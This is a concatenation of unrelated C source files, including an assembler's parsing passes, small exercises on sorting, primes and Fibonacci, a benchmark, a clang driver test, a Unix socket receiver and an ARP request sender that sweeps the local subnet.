pushshort(shex(w), 0);
else
return error("Invalid hexadecimal value", w);
return 1;
} else if((m = findmacro(w))) {
int i;
for(i = 0; i < m->len; ++i)
if(!parsetoken(m->items[i]))
return error("Invalid macro", m->name);
return 1;
}
return error("Invalid token", w);
}
static int
doinclude(FILE *f, int (*pass)(FILE *))
{
char word[64];
FILE *finc;
int ret;
if(fscanf(f, "%63s", word) != 1)
return error("End of input", "include");
if(!(finc = fopen(word, "r")))
return error("Include failed to open", word);
ret = pass(finc);
fclose(finc);
return ret;
}
static int
pass1(FILE *f)
{
int ccmnt = 0;
char w[64], scope[64], subw[64];
while(fscanf(f, "%63s", w) == 1) {
if(skipblock(w, &ccmnt, '(', ')')) continue;
if(slen(w) >= 63)
return error("Pass 1 - Invalid token", w);
if(w[0] == '|') {
if(!sihx(w + 1))
return error("Pass 1 - Invalid padding", w);
addr = shex(w + 1);
} else if(w[0] == '%') {
if(!makemacro(w + 1, f))
return error("Pass 1 - Invalid macro", w);
} else if(w[0] == '@') {
if(!makelabel(w + 1))
return error("Pass 1 - Invalid label", w);
scpy(w + 1, scope, 64);
} else if(w[0] == '&') {
if(!makelabel(sublabel(subw, scope, w + 1)))
return error("Pass 1 - Invalid sublabel", w);
} else if(scmp(w, "include", 8)) {
if(!doinclude(f, pass1))
return 0;
} else if(sihx(w))
addr += slen(w) / 2;
else
addr += walktoken(w);
}
rewind(f);
return 1;
}
static int
pass2(FILE *f)
{
int ccmnt = 0, cmacr = 0;
char w[64], scope[64], subw[64];
while(fscanf(f, "%63s", w) == 1) {
if(w[0] == '%') continue;
if(w[0] == '&') continue;
if(w[0] == '[') continue;
if(w[0] == ']') continue;
if(skipblock(w, &ccmnt, '(', ')')) continue;
if(skipblock(w, &cmacr, '{', '}')) continue;
if(w[0] == '|') {
if(p.length && shex(w + 1) < p.ptr)
return error("Pass 2 - Memory overwrite", w);
p.ptr = shex(w + 1);
continue;
} else if(w[0] == '$') {
p.ptr += shex(w + 1);
continue;
} else if(w[0] == '@') {
scpy(w + 1, scope, 64);
continue;
} else if(scmp(w, "include", 8)) {
if(!doinclude(f, pass2))
return 0;
continue;
}
if(w[1] == '&' && (w[0] == '.' || w[0] == ',' || w[0] == ';' || w[0] == ':'))
scpy(sublabel(subw, scope, w + 2), w + 1, 64);
if(!parsetoken(w))
return error("Pass 2 - Unknown label", w);
}
return 1;
}
static void
cleanup(char *filename)
{
int i;
for(i = 0; i < p.llen; ++i)
if(p.labels[i].name[0] >= 'A' && p.labels[i].name[0] <= 'Z')
continue; /* Ignore capitalized labels(devices) */
else if(!p.labels[i].refs)
fprintf(stderr, "--- Unused label: %s\n", p.labels[i].name);
printf("Assembled %s(%d bytes), %d labels, %d macros.\n", filename, (p.length - TRIM), p.llen, p.mlen);
}
int
main(int argc, char *argv[])
{
FILE *f;
if(argc < 3)
return !error("usage", "input.tal output.rom");
if(!(f = fopen(argv[1], "r")))
return !error("Load", "Failed to open source.");
if(!pass1(f) || !pass2(f))
return !error("Assembly", "Failed to assemble rom.");
fwrite(p.data + TRIM, p.length - TRIM, 1, fopen(argv[2], "wb"));
fclose(f);
cleanup(argv[2]);
return 0;
}
|
the_stack_data/36076607.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
#define LEN 20
#define true 1
#define false 0
#define IS_OK(expr) (expr == true)
typedef uint8_t bool;
typedef enum error {
ERROR = -1,
SUCCESS,
INVALID_BOUNDS,
} error_t;
char *error_to_string(error_t error)
{
switch (error) {
case ERROR:
return "GENERAL ERROR (salute, you maggot)";
case SUCCESS:
return "SUCCESS";
case INVALID_BOUNDS:
return "INVALID_BOUNDS";
default:
return "UNKNOWN ERROR";
}
}
void array_ascending(int* array, size_t size)
{
for(size_t i = 0; i < size; ++i) {
array[i] = i;
}
}
error_t array_random(int* array, size_t size, int lower, int upper)
{
if(lower >= upper) {
return INVALID_BOUNDS;
}
for (size_t i = 0; i < size; ++i) {
array[i] = rand() % (upper - lower - 1) + lower + 1;
}
return SUCCESS;
}
void array_print(int* array, size_t size)
{
for (size_t i = 0; i < size; ++i) {
printf("%i ", array[i]);
}
printf("\n");
}
bool test_sorted(int* array, size_t size, size_t* index_ptr)
{
bool okay = true;
for (size_t i = 1; i < size && okay; ++i) {
if (array[i-1] > array[i]) {
okay = false;
*index_ptr = i - 1;
}
}
return okay;
}
int main()
{
int array[LEN];
size_t index = 0;
array_ascending(array, LEN);
array_random(array, LEN, 0, 10);
if(IS_OK(test_sorted(array, LEN, &index))) {
printf("array was sorted: ");
} else {
printf("array was !!NOT!! sorted, error at %zu: ", index);
}
array_print(array, LEN);
return 0;
}
|
the_stack_data/200142555.c | #include <stdio.h>
int main()
{
int a=0,b=1,c,n,i;
printf("Enter the length of series:");
scanf("%d ",&n);
printf("The series is ");
for(i=1;i<=n;i++)
{
printf("%d ",a);
c=a+b;
a=b;
b=c;
}
return 0;
}
|
the_stack_data/45449665.c | /*
* POK header
*
* The following file is a part of the POK project. Any modification should
* be made according to the POK licence. You CANNOT use this file or a part
* of a file for your own project.
*
* For more information on the POK licence, please see our LICENCE FILE
*
* Please follow the coding guidelines described in doc/CODING_GUIDELINES
*
* Copyright (c) 2007-2021 POK team
*/
/**
* Remember boys, blowfish encrypts data on 8 bytes !
*/
#ifdef POK_NEEDS_PROTOCOLS_BLOWFISH
#include "blowfish.h"
#include <libc/stdio.h>
#include <libc/string.h>
#include <types.h>
#include <protocols/blowfish.h>
static unsigned char cbc_key[16] = POK_BLOWFISH_KEY;
/*
static unsigned char cbc_iv [8]={0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10};
#define MYIV {0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10};
*/
void pok_protocols_blowfish_marshall(void *uncrypted_data,
size_t uncrypted_size, void *crypted_data,
size_t *crypted_size) {
(void)uncrypted_size;
BF_KEY key;
/* unsigned char iv[8] = POK_BLOWFISH_INIT; */
BF_set_key(&key, 16, cbc_key);
/* memcpy(iv,cbc_iv,8); */
BF_ecb_encrypt(uncrypted_data, crypted_data, &key, BF_ENCRYPT);
*crypted_size = 8;
}
void pok_protocols_blowfish_unmarshall(void *crypted_data, size_t crypted_size,
void *uncrypted_data,
size_t *uncrypted_size) {
/* unsigned char iv[8] = POK_BLOWFISH_INIT; */
(void)crypted_size;
BF_KEY key;
BF_set_key(&key, 16, cbc_key);
/* memcpy (iv,cbc_iv,8); */
BF_ecb_encrypt(crypted_data, uncrypted_data, &key, BF_DECRYPT);
*uncrypted_size = 8;
}
#endif
|
the_stack_data/612651.c | // Check handling -mhard-float / -msoft-float options
// when build for SystemZ platforms.
//
// Default
// RUN: %clang -c %s -### -o %t.o 2>&1 \
// RUN: -target s390x-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-DEF %s
// CHECK-DEF-NOT: "-msoft-float"
// CHECK-DEF-NOT: "-mfloat-abi" "soft"
//
// -mhard-float
// RUN: %clang -c %s -### -o %t.o 2>&1 \
// RUN: -target s390x-linux-gnu -mhard-float \
// RUN: | FileCheck --check-prefix=CHECK-HARD %s
// CHECK-HARD-NOT: "-msoft-float"
// CHECK-HARD-NOT: "-mfloat-abi" "soft"
//
// -msoft-float
// RUN: %clang -c %s -### -o %t.o 2>&1 \
// RUN: -target s390x-linux-gnu -msoft-float \
// RUN: | FileCheck --check-prefix=CHECK-SOFT %s
// CHECK-SOFT: "-msoft-float" "-mfloat-abi" "soft"
//
// -mfloat-abi=soft
// RUN: %clang -c %s -### -o %t.o 2>&1 \
// RUN: -target s390x-linux-gnu -mfloat-abi=soft \
// RUN: | FileCheck --check-prefix=CHECK-FLOATABISOFT %s
// CHECK-FLOATABISOFT: error: unsupported option '-mfloat-abi=soft'
//
// -mfloat-abi=hard
// RUN: %clang -c %s -### -o %t.o 2>&1 \
// RUN: -target s390x-linux-gnu -mfloat-abi=hard \
// RUN: | FileCheck --check-prefix=CHECK-FLOATABIHARD %s
// CHECK-FLOATABIHARD: error: unsupported option '-mfloat-abi=hard'
//
// check invalid -mfloat-abi
// RUN: %clang -c %s -### -o %t.o 2>&1 \
// RUN: -target s390x-linux-gnu -mfloat-abi=x \
// RUN: | FileCheck --check-prefix=CHECK-ERRMSG %s
// CHECK-ERRMSG: error: unsupported option '-mfloat-abi=x'
int foo(void) {
return 0;
}
|
the_stack_data/808186.c | #include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
int main(){
printf("real uid: %d\n", getuid());
printf("effective uid: %d\n", geteuid());
}
//end of code
|
the_stack_data/14763.c | #include <stdio.h>
#include <curses.h>
#include <unistd.h>
#define ROW 10
#define LEFTEDGE 10
#define RIGHTEDGE 50
int dir = +1;
int pos = 1;
char message[] = "hello jocs";
char blank[] = " ";
int main(void) {
initscr();
clear();
while (1) {
move(ROW, pos);
addstr(message);
move(LINES - 1, COLS - 1);
refresh();
sleep(1);
move(ROW, pos);
addstr(blank);
refresh();
pos += dir;
if (pos > RIGHTEDGE) {
dir = -1;
}
if (pos < LEFTEDGE) {
dir = +1;
}
}
clear();
endwin();
} |
the_stack_data/89201528.c | #include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
struct charinfo {
char c;
int count;
struct charinfo *next;
};
int main()
{
int n;
struct charinfo *head = NULL, *current, *prev;
LOOP:
if ((n = getchar()) == EOF) goto BREAK;
if (isalpha(n)) {
n = tolower(n);
if (head == NULL) {
head = malloc(sizeof(struct charinfo));
current = head; prev = current;
current->c = n;
current->count = 1;
current->next = NULL;
goto LOOP;
}
if (n < head->c) {
current = malloc(sizeof(struct charinfo));
current->c = n;
current->count = 1;
current->next = head;
head = current; prev = current;
goto LOOP;
}
if (n < current->c) {
current = head; prev = current;
}
while (1) {
if (n > current->c && current->next != NULL) {
prev = current;
current = current->next;
} else if (n == current->c) {
current->count++;
break;
} else if (n < current->c) {
prev->next = malloc(sizeof(struct charinfo));
prev->next->next = current; current = prev->next;
current->c = n;
current->count = 1;
break;
} else if (current->next == NULL) {
current->next = malloc(sizeof(struct charinfo));
prev = current; current = current->next;
current->c = n;
current->count = 1;
current->next = NULL;
break;
}
}
}
goto LOOP;
BREAK:
current = head; /*prev = current;*/
while (current != NULL) {
printf("%c %d\n", current->c, current->count);
prev = current; current = current->next;
//printf("%c freed!\n", prev->c);
free(prev);
}
return 0;
}
|
the_stack_data/33025.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <locale.h>
int main()
{
int vez = 0, jogador, teste, numero, min, max;
srand(time(NULL));
setlocale(LC_ALL,"");
printf("***** Jogo da sorte *****\n\n");
printf("Escolha um intervalo de números\n");
printf("Indicando o valor inicial e final:\n");
scanf("%d %d", &min, &max);
numero = rand() % max + min;
do{
printf("Jogador %d\n", vez % 2 + 1);
printf("Qual foi o numero sorteado?\n ");
scanf("%d", &jogador);
system("cls");
teste = (jogador == numero) ? 1 : (jogador < numero) ? 2 : 3;
switch (teste){
case 1:
numero = rand() % max + min;
printf("Jogador %d ganhou\n", vez % 2 + 1);
break;
case 2:
printf("Palpite muito baixo\n");
break;
case 3:
printf("Palpite muito alto\n");
}
vez++;
}while(teste!=1);
}
|
the_stack_data/107952952.c | #include <stdio.h>
int main(void)
{
int liczba;
int licznik = 0;
printf("Podaj dodatnia liczbe calkowita: ");
scanf("%d", &liczba);
for (int i = 2; i <= liczba; i++)
{
for (int j = 1; j <= i; j++)
if (i % j == 0)
licznik++;
if (licznik < 3)
printf("%d ", i);
licznik = 0;
}
return 0;
} |
the_stack_data/162643750.c | /*
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of "The Computer Language Benchmarks Game" nor the
name of "The Computer Language Shootout Benchmarks" nor the names of
its contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
/* The Computer Language Shootout Benchmarks
http://shootout.alioth.debian.org/
contributed by Kevin Carson
compilation:
gcc -O3 -fomit-frame-pointer -funroll-loops -static binary-trees.c -lm
icc -O3 -ip -unroll -static binary-trees.c -lm
*/
#include <malloc.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
typedef struct tn {
struct tn* left;
struct tn* right;
long item;
} treeNode;
treeNode* NewTreeNode(treeNode* left, treeNode* right, long item)
{
treeNode* new;
new = (treeNode*)malloc(sizeof(treeNode));
new->left = left;
new->right = right;
new->item = item;
return new;
} /* NewTreeNode() */
long ItemCheck(treeNode* tree)
{
if (tree->left == NULL)
return tree->item;
else
return tree->item + ItemCheck(tree->left) - ItemCheck(tree->right);
} /* ItemCheck() */
treeNode* BottomUpTree(long item, unsigned depth)
{
if (depth > 0)
return NewTreeNode
(
BottomUpTree(2 * item - 1, depth - 1),
BottomUpTree(2 * item, depth - 1),
item
);
else
return NewTreeNode(NULL, NULL, item);
} /* BottomUpTree() */
void DeleteTree(treeNode* tree)
{
if (tree->left != NULL)
{
DeleteTree(tree->left);
DeleteTree(tree->right);
}
free(tree);
} /* DeleteTree() */
int main(int argc, char* argv[])
{
unsigned N, depth, minDepth, maxDepth, stretchDepth;
treeNode *stretchTree, *longLivedTree, *tempTree;
N = atol(argv[1]);
minDepth = 4;
if ((minDepth + 2) > N)
maxDepth = minDepth + 2;
else
maxDepth = N;
stretchDepth = maxDepth + 1;
stretchTree = BottomUpTree(0, stretchDepth);
printf
(
"stretch tree of depth %u\t check: %li\n",
stretchDepth,
ItemCheck(stretchTree)
);
DeleteTree(stretchTree);
longLivedTree = BottomUpTree(0, maxDepth);
for (depth = minDepth; depth <= maxDepth; depth += 2)
{
long i, iterations, check;
iterations = pow(2, maxDepth - depth + minDepth);
check = 0;
for (i = 1; i <= iterations; i++)
{
tempTree = BottomUpTree(i, depth);
check += ItemCheck(tempTree);
DeleteTree(tempTree);
tempTree = BottomUpTree(-i, depth);
check += ItemCheck(tempTree);
DeleteTree(tempTree);
} /* for(i = 1...) */
printf
(
"%li\t trees of depth %u\t check: %li\n",
iterations * 2,
depth,
check
);
} /* for(depth = minDepth...) */
printf
(
"long lived tree of depth %u\t check: %li\n",
maxDepth,
ItemCheck(longLivedTree)
);
return 0;
} /* main() */
|
the_stack_data/102016.c | #include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
int
main() {
int sock;
struct sockaddr_un addr;
char buf[2048];
int n;
sock = socket(AF_UNIX, SOCK_DGRAM, 0);
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/afu_dgram");
bind(sock, (struct sockaddr*)&addr, sizeof(addr));
while (1) {
memset(buf, 0, sizeof(buf));
n = recv(sock, buf, sizeof(buf) - 1, 0);
printf("recv : %s\n", buf);
}
close(sock);
return 0;
}
|
the_stack_data/125750.c | int main(){
int x = 5;
x = x ^ 3;
return x;
}
|
the_stack_data/37638230.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // close()
#include <string.h> // strcpy, memset(), and memcpy()
#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket(), uint8_t, uint16_t
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, INET_ADDRSTRLEN
#include <netinet/ip.h> // IP_MAXPACKET (which is 65535)
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <linux/if_ether.h> // ETH_P_ARP = 0x0806
#include <linux/if_packet.h> // struct sockaddr_ll (see man 7 packet)
#include <net/ethernet.h>
#include <errno.h> // errno, perror()
#define PRINTF_LIST(list, size) {int i = 0; for(i = 0;i < size; i++){printf("%x ", list[i]);} printf("\n");}
#define PRINTF_STRUCT(str, size) {uint8_t *list = (uint8_t*)&str; PRINTF_LIST(list, size)}
#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define ARP_HDRLEN 28 // ARP header length
#define ARPOP_REQUEST 1 // Taken from <linux/if_arp.h>
struct arp_hdr {
uint16_t htype;
uint16_t ptype;
uint8_t hlen;
uint8_t plen;
uint16_t opcode;
uint8_t sender_mac[6];
uint8_t sender_ip[4];
uint8_t target_mac[6];
uint8_t target_ip[4];
};
static int raw_socket_id = -1;
static uint8_t src_mac[6];
static uint8_t src_ip[4];
static uint8_t src_netmask[4];
static uint8_t base_addr[4];
static uint32_t ip_counter = 0;
static uint32_t ip_counter_mask = 0;
static struct sockaddr_ll src_device;
static struct arp_hdr arphdr;
static unsigned int inf_index = 0;
static uint8_t *ether_frame = NULL;
static int arp_recv_interrupted = 0;
int arp_send_init(const char *interface)
{
struct ifreq ifr;
if ((inf_index = if_nametoindex(interface)) == 0 ) {
perror("arp_send_init: failed to get interface index");
return -1;
}
raw_socket_id = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (raw_socket_id < 0) {
perror("arp_send_init: failed to acquire a socket descriptior.");
return -1;
}
memset(&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (raw_socket_id, SIOCGIFHWADDR, &ifr) < 0) {
perror("arp_send_init: failed to get source MAC address.");
return -1;
}
memcpy(src_mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof(uint8_t));
if (ioctl (raw_socket_id, SIOCGIFADDR, &ifr) < 0) {
perror("arp_send_init: failed to get source ip address.");
return -1;
}
struct sockaddr_in* ipaddr = (struct sockaddr_in*)&ifr.ifr_addr;
memcpy(src_ip, &ipaddr->sin_addr, 4 * sizeof(uint8_t));
if (ioctl (raw_socket_id, SIOCGIFNETMASK, &ifr) < 0) {
perror("arp_send_init: failed to get source netmask address.");
return -1;
}
ipaddr = (struct sockaddr_in*)&ifr.ifr_netmask;
memcpy(src_netmask, &ipaddr->sin_addr, 4 * sizeof(uint8_t));
printf("%u.%u.%u.%u\t%u.%u.%u.%u\n", src_ip[0], src_ip[1], src_ip[2], src_ip[3], src_netmask[0], src_netmask[1], src_netmask[2], src_netmask[3]);
int i = 0;
for (i = 0; i < 4; i++) {
base_addr[i] = src_ip[i] & src_netmask[i];
ip_counter_mask <<= 8;
ip_counter_mask |= (uint8_t)(~src_netmask[i] & 0xFF);
}
printf("%x\n", ip_counter_mask);
memset (&src_device, 0, sizeof(src_device));
src_device.sll_ifindex = (int)inf_index;
src_device.sll_family = AF_PACKET;
memcpy(src_device.sll_addr, src_mac, 6 * sizeof (uint8_t));
src_device.sll_halen = 6;
memcpy(arphdr.sender_ip, src_ip, 4 * sizeof(uint8_t));
// Hardware type (16 bits): 1 for ethernet
arphdr.htype = htons (1);
// Protocol type (16 bits): 2048 for IP
arphdr.ptype = htons (ETH_P_IP);
// Hardware address length (8 bits): 6 bytes for MAC address
arphdr.hlen = 6;
// Protocol address length (8 bits): 4 bytes for IPv4 address
arphdr.plen = 4;
// OpCode: 1 for ARP request
arphdr.opcode = htons(1);
// Sender hardware address (48 bits): MAC address
memcpy (arphdr.sender_mac, src_mac, 6 * sizeof (uint8_t));
// Target hardware address (48 bits): zero, since we don't know it yet.
memset (arphdr.target_mac, 0, 6 * sizeof (uint8_t));
close(raw_socket_id);
raw_socket_id = -1;
raw_socket_id = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL));
ether_frame = (uint8_t*)calloc(IP_MAXPACKET, 1);
// Destination and Source MAC addresses
memset (ether_frame, 0xff, 6 * sizeof (uint8_t));
memcpy (ether_frame + 6, src_mac, 6 * sizeof (uint8_t));
// Next is ethernet type code (ETH_P_ARP for ARP).
// http://www.iana.org/assignments/ethernet-numbers
ether_frame[12] = ETH_P_ARP / 256;
ether_frame[13] = ETH_P_ARP % 256;
return raw_socket_id >= 0 ? 0 : -1;
}
void arp_send_close()
{
if (raw_socket_id > 0) {
close(raw_socket_id);
raw_socket_id = -1;
}
arp_recv_interrupted = 1;
}
int arp_send_to(uint32_t target_ip)
{
size_t frame_length = 6 + 6 + 2 + ARP_HDRLEN;
target_ip = htonl(target_ip);
memcpy(&arphdr.target_ip, &target_ip, 4 * sizeof (uint8_t));
// ARP header
memcpy (ether_frame + ETH_HDRLEN, &arphdr, ARP_HDRLEN * sizeof (uint8_t));
// Send ethernet frame to socket.
if (sendto (raw_socket_id, ether_frame, frame_length, 0, (struct sockaddr *) &src_device, sizeof(src_device)) <= 0) {
perror ("arp_send_to failed");
return -1;
}
return 0;
}
void* arp_recv(void *arg)
{
#define ARPOP_REPLY 2
uint8_t *recv_ether_frame = (uint8_t*)calloc(IP_MAXPACKET, 1);
struct arp_hdr *recv_arphdr = (struct arp_hdr *) (recv_ether_frame + 6 + 6 + 2);
while ( arp_recv_interrupted == 0) {
if ((recv (raw_socket_id, recv_ether_frame, IP_MAXPACKET, 0)) < 0) {
if (errno == EINTR) {
memset (recv_ether_frame, 0, IP_MAXPACKET * sizeof (uint8_t));
continue; // Something weird happened, but let's try again.
} else {
perror ("recv() failed:");
return NULL;
}
}
if( (((recv_ether_frame[12] << 8) + recv_ether_frame[13]) != ETH_P_ARP) || (ntohs (recv_arphdr->opcode) != ARPOP_REPLY) ) {
continue;
}
printf("%x:%x:%x:%x:%x:%x\t", recv_ether_frame[6], recv_ether_frame[7], recv_ether_frame[8], recv_ether_frame[9], recv_ether_frame[10], recv_ether_frame[11]);
printf("%u.%u.%u.%u\n", recv_arphdr->sender_ip[0], recv_arphdr->sender_ip[1], recv_arphdr->sender_ip[2], recv_arphdr->sender_ip[3]);
}
return NULL;
}
int calc_next_dest_ip(uint8_t dest_ip[4]) {
ip_counter++;
if(ip_counter >= ip_counter_mask)
{
ip_counter = 0;
return -1;
}
memcpy(dest_ip, base_addr, 4);
int i = 0;
for (i = 0; i < 4; i++)
dest_ip[3-i] |= (ip_counter << (i*8)) & 0xFF;
return 0;
}
|
the_stack_data/73574670.c | #include <stdio.h>
/* Computes the length of Collatz sequence. */
unsigned int step(unsigned int x)
{
if (x % 2 == 0)
{
return (x / 2);
}
else
{
return (3 * x + 1);
}
}
unsigned int nseq(unsigned int x0)
{
unsigned int i = 1, x;
if (x0 == 1 || x0 == 0)
return i;
x = step(x0);
while (x != 1 && x != 0)
{
x = step(x);
i++;
}
return i;
}
int main(int argc, char **argv)
{
unsigned int i, m = 0, im = 0;
for (i = 1; i < 500000; i++)
{
unsigned int k = nseq(i);
if (k > m)
{
m = k;
im = i;
printf("sequence length = %u for %u\n", m, im);
}
}
return 0;
} |
the_stack_data/92327732.c | /*
* Copyright (c) 2006-2021, RT-Thread Development Team
*
* SPDX-License-Identifier: Apache-2.0
*
* Change Logs:
* Date Author Notes
*/
int dummy_main()
{
return 0;
}
|
the_stack_data/232954336.c | #include <stdio.h>
#include <stdbool.h>
#define ex1
#ifdef ex1
main()
{
int numint[3];
long int numlong[3];
unsigned char charuns[3];
float numfloat[3];
double numdouble[3];
printf("Digite o primeiro numero int: ");
scanf("%i", &numint[0]);
printf("Digite o segundo numero int: ");
scanf("%i", &numint[1]);
printf("Digite o terceiro numero int: ");
scanf("%i", &numint[2]);
printf("Digite o primeiro numero long int: ");
scanf("%li", &numlong[0]);
printf("Digite o segundo numero long int: ");
scanf("%li", &numlong[1]);
printf("Digite o terceiro numero long int: ");
scanf("%li", &numlong[2]);
printf("Digite o primeiro char: ");
scanf(" %c", &charuns[0]);
printf("Digite o segundo char: ");
scanf(" %c", &charuns[1]);
printf("Digite o terceiro char: ");
scanf(" %c", &charuns[2]);
printf("Digite o primeiro numero float: ");
scanf(" %f", &numfloat[0]);
printf("Digite o segundo numero float: ");
scanf(" %f", &numfloat[1]);
printf("Digite o terceiro numero float: ");
scanf(" %f", &numfloat[2]);
printf("Digite o primeiro numero double: ");
scanf(" %lf", &numdouble[0]);
printf("Digite o primeiro numero double: ");
scanf(" %lf", &numdouble[1]);
printf("Digite o primeiro numero double: ");
scanf(" %lf", &numdouble[2]);
printf(" 10 20 30 40 50\n");
printf("12345678901234567890123456789012345678901234567890\n");
printf(" %-6i %-6li %-1c\n", numint[0], numlong[0], charuns[0]);
printf(" %-8.1f %-8.1lf\n", numfloat[0], numdouble[0]);
printf(" %-6i %-6li %-1c\n", numint[1], numlong[1], charuns[1]);
printf(" %-8.1f %-8.1lf\n", numfloat[1], numdouble[1]);
printf(" %-6i %-6li %-1c\n", numint[2], numlong[2], charuns[2]);
printf(" %-8.1f %-8.1lf\n", numfloat[2], numdouble[2]);
}
#endif //ex1
#ifdef ex2
main()
{
int valores[10], aux, i, j, k;
char tecla;
do
{
for (i = 0; i < 10; i++)
{
printf("\nDigite o %d inteiro: ", i + 1);
scanf("%d", &valores[i]);
if (i != 0)
{
k = i;
for (j = i - 1; j >= 0; j--)
{
if (valores[j] > valores[k])
{
aux = valores[j];
valores[j] = valores[k];
valores[k] = aux;
}
k = j;
}
}
}
for (i = 0; i < 10; i++)
{
printf("\no %d inteiro do vetor e %d ", i + 1, valores[i]);
}
printf("\nDeseja continuar?(s/n) ");
getchar();
tecla = getchar();
} while ((tecla != 'n') && (tecla != 'N'));
}
#endif // ex2
#ifdef ex3
int main()
{
int lengthComponents = 10;
int components[lengthComponents];
bool isPalindrome = false;
for (int i = 0; i < lengthComponents; i++)
{
printf("\nInsira o valor %d: ", i + 1);
scanf("%d", &components[i]);
}
for (int i = 0; i < lengthComponents; i++)
{
if (components[i] == components[lengthComponents - i - 1])
{
isPalindrome = true;
}
else
{
isPalindrome = false;
break;
}
}
if (isPalindrome)
{
printf("\n\n ** isPalindrome: True **\n\n");
}
else
{
printf("\n\n ** isPalindrome: False ** \n\n");
}
}
#endif //ex3
#ifdef ex4
int main()
{
int rows = 2;
int cols = 3;
int table1[rows][cols];
int table2[rows][cols];
int table3[rows][cols];
for (int i = 0; i < rows; i++)
{
for (int j = 0; j < cols; j++)
{
printf("\n (Tabela 1) Posicao %d %d: ", i + 1, j + 1);
scanf("%d", &table1[i][j]);
printf("\n (Tabela 2) Posicao %d %d: ", i + 1, j + 1);
scanf("%d", &table2[i][j]);
}
}
for (int i = 0; i < rows; i++)
{
for (int j = 0; j < cols; j++)
{
table3[i][j] = table1[i][j] - table2[i][j];
printf("\n (Tabela 3) Posicao %d %d: %d", i + 1, j + 1, table3[i][j]);
}
}
}
#endif // ex4
#ifdef ex5
main()
{
float matriz[2][2], x;
int i, j;
char tecla;
int encontrado = 0;
do
{
encontrado = 0;
for (i = 0; i < 2; i++)
{
for (j = 0; j < 2; j++)
{
printf("\nDigite o valor da posicao [%d][%d] da matriz: ", i, j);
scanf("%f", &matriz[i][j]);
}
}
printf("\nDigite o valor que deseja buscar na matriz: ");
scanf("%f", &x);
i = 0;
j = 0;
for (i = 0; i < 2; i++)
{
for (j = 0; j < 2; j++)
{
if (x == matriz[i][j])
{
encontrado = 1;
printf("\nO valor %f esta presente na posicao [%d][%d] ", x, i, j);
}
}
}
if (encontrado == 0)
{
printf("\nO valor %f nao foi encontrado na matriz!", x);
}
printf("\n\nDeseja continuar?(s/n) ");
getchar();
tecla = getchar();
} while ((tecla != 'n') && (tecla != 'N'));
}
#endif // ex5
|
the_stack_data/154831262.c | //
// main.c
// Sort_C
//
// Created by iOS on 2018/3/13.
// Copyright © 2018年 weiman. All rights reserved.
//
#include <stdio.h>
void bubblingArray(int a[],int size);
void selectedSort(int a[], int size);
void insertSort(int a[], int size);
int main(int argc, const char * argv[]) {
printf("Hello, World!\n");
printf("----------冒泡-----------\n");
int a[] = {6,17,26,18,19,39,1,6,14,3,40};
int size = sizeof(a)/sizeof(a[0]);
bubblingArray(a, size);
//经过排序函数后,这里打印的数组也是拍过顺序的,引用传递
for(int i=0; i<size; i++){
printf(" %d ",a[i]);
}
printf("\n");
printf("----------选择-----------\n");
int arr[] = {1,16,23,56,89,33,7,27,55,37,48};
int sizeA = sizeof(arr)/sizeof(arr[0]);
selectedSort(arr, sizeA);
for(int i=0; i<sizeA; i++){
printf(" %d ",arr[i]);
}
printf("\n");
printf("----------插入-----------\n");
int arr2[] = {12,15,9,20,6,31,24};
int sizeB = sizeof(arr2)/sizeof(arr2[0]);
insertSort(arr2, sizeB);
for(int i=0; i<sizeB; i++){
printf(" %d ",arr2[i]);
}
printf("\n");
return 0;
}
/**
冒泡排序
@param a 待排序的数组
@param size 数组的大小
*/
void bubblingArray(int a[],int size) {
for (int j = 0; j< size-1; j++) {
for (int i=0; i< size-1-j; i++) {
if (a[i]>a[i+1]) {
int tmp = a[i]+a[i+1];
a[i] = tmp - a[i];
a[i+1] = tmp - a[i];
}
}
}
//打印
for(int i=0; i<size; i++){
printf(" %d ",a[i]);
}
